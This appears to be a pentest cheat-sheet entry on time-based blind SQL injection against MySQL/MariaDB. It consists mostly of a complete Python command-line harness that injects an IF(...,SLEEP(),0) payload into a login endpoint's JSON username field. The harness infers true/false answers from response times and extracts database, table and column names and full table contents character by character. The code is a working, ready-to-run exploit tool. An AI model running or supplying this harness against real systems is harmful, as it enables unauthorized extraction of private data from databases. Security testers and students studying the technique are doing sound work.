Time-Based Blind
MySQL time-based linear harness
The oracle accepts a SQL predicate and places it inside MySQL/MariaDB’s IF() function. A true predicate calls SLEEP(DELAY); a false predicate returns 0 immediately. oracle() measures the complete HTTP response time and returns a Python Boolean according to THRESHOLD.
The remaining extraction flow matches the Boolean version: determine a count, determine the length of one value, then test each character position. Only the request and timing behavior inside oracle() is target-specific.
The template uses a JSON-field sink. The same payload string can instead be placed in a query parameter, header, or form field when that input reaches the vulnerable SQL construction. The SQL uses MySQL/MariaDB syntax throughout: LENGTH, SUBSTRING, ASCII, database(), information_schema, LOAD_FILE(), and LIMIT 1 OFFSET n.
import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
DELAY = 2
THRESHOLD = 1.5
parser = argparse.ArgumentParser(
description="MySQL time-based blind SQL injection dumping harness.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
def oracle(s, query):
payload = f'" OR IF (({query}),SLEEP({DELAY}),0) -- -'
json = {
"username": payload,
"password": "a"
}
try:
r = s.post(url=f"{URL}/api/login", json=json, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"{Fore.RED}\n[-] Could not make request: {e}")
sys.exit(1)
if r.elapsed.total_seconds() > THRESHOLD:
return True
return False
def get_count(s, query, label):
count = 0
while True:
print(f"\r[+] Bruteforcing number of {label}: {count}", end="", flush=True)
count_query = f"({query})={count}"
if oracle(s, count_query) == True:
print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
return count
count += 1
def get_length(s, query, label):
length = 0
while True:
print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
length_query = f"LENGTH(({query}))={length}"
if oracle(s, length_query) == True:
print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
return length
length += 1
def dump_value(s, query, label):
value = ""
length = get_length(s, query, label)
for pos in range(1, length + 1):
for char in CHARSET:
print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
# ord returns the corresponding decimal number the string has in the ASCII table
dump_query = f"ASCII(SUBSTRING(({query}),{pos},1))={ord(char)}"
if oracle(s, dump_query):
value += char
break
print(f"{Fore.GREEN}\n[+] {label}: {value}")
return value
if __name__ == "__main__":
s = requests.Session()
if args.current_db:
dump_value(s,"SELECT DATABASE()", "current database name")
if args.databases:
database_count = get_count(s,"SELECT COUNT(*) FROM information_schema.schemata", "databases")
for pos in range(0, database_count):
# gets all database names, orders them, limits output to 1, offset skips rows
query = f"SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET {pos}"
label = f"database number {pos}"
dump_value(s, query, label)
if args.tables:
database = args.database
if not database:
print(f"{Fore.RED}\n[-] It is required to specify the database to dump table names from.")
sys.exit(1)
table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{database}'", "table count")
for pos in range(0, table_count):
# gets all tables names from target db, orders them, limits output to 1 and skips rows by offset
query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' ORDER BY table_name LIMIT 1 OFFSET {pos}"
label = f"table number {pos}"
dump_value(s, query, label)
if args.columns:
database = args.database
table = args.table
if not database or not table:
print(f"{Fore.RED}\n[-] It is required to specify the database and table to dump column names from.")
sys.exit(1)
column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{args.table}'", "column count")
for pos in range(0, column_count):
query = f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{args.table}' ORDER BY column_name LIMIT 1 OFFSET {pos}"
label = f"column number {pos}"
dump_value(s, query, label)
if args.dump:
database = args.database
table = args.table
columns = args.columns_to_dump
if not database or not table or not columns:
print(f"{Fore.RED}\n[-] It is required to specify the database,table and columns to dump data from.")
sys.exit(1)
columns_list = columns.split(",")
row_count = get_count(s, f"SELECT COUNT(*) FROM {args.table}", "row count")
for pos in range(0, row_count):
for column in columns_list:
query = f"SELECT CAST({column} AS CHAR) FROM {args.table} ORDER BY {column} LIMIT 1 OFFSET {pos}"
label = f"{table}.{column} row {pos}"
dump_value(s, query,label)Find by: mysql, mariadb, time based blind sqli, sleep, if, length, substring, ascii, database, information_schema, load_file, file read, limit offset, sqlmap style cli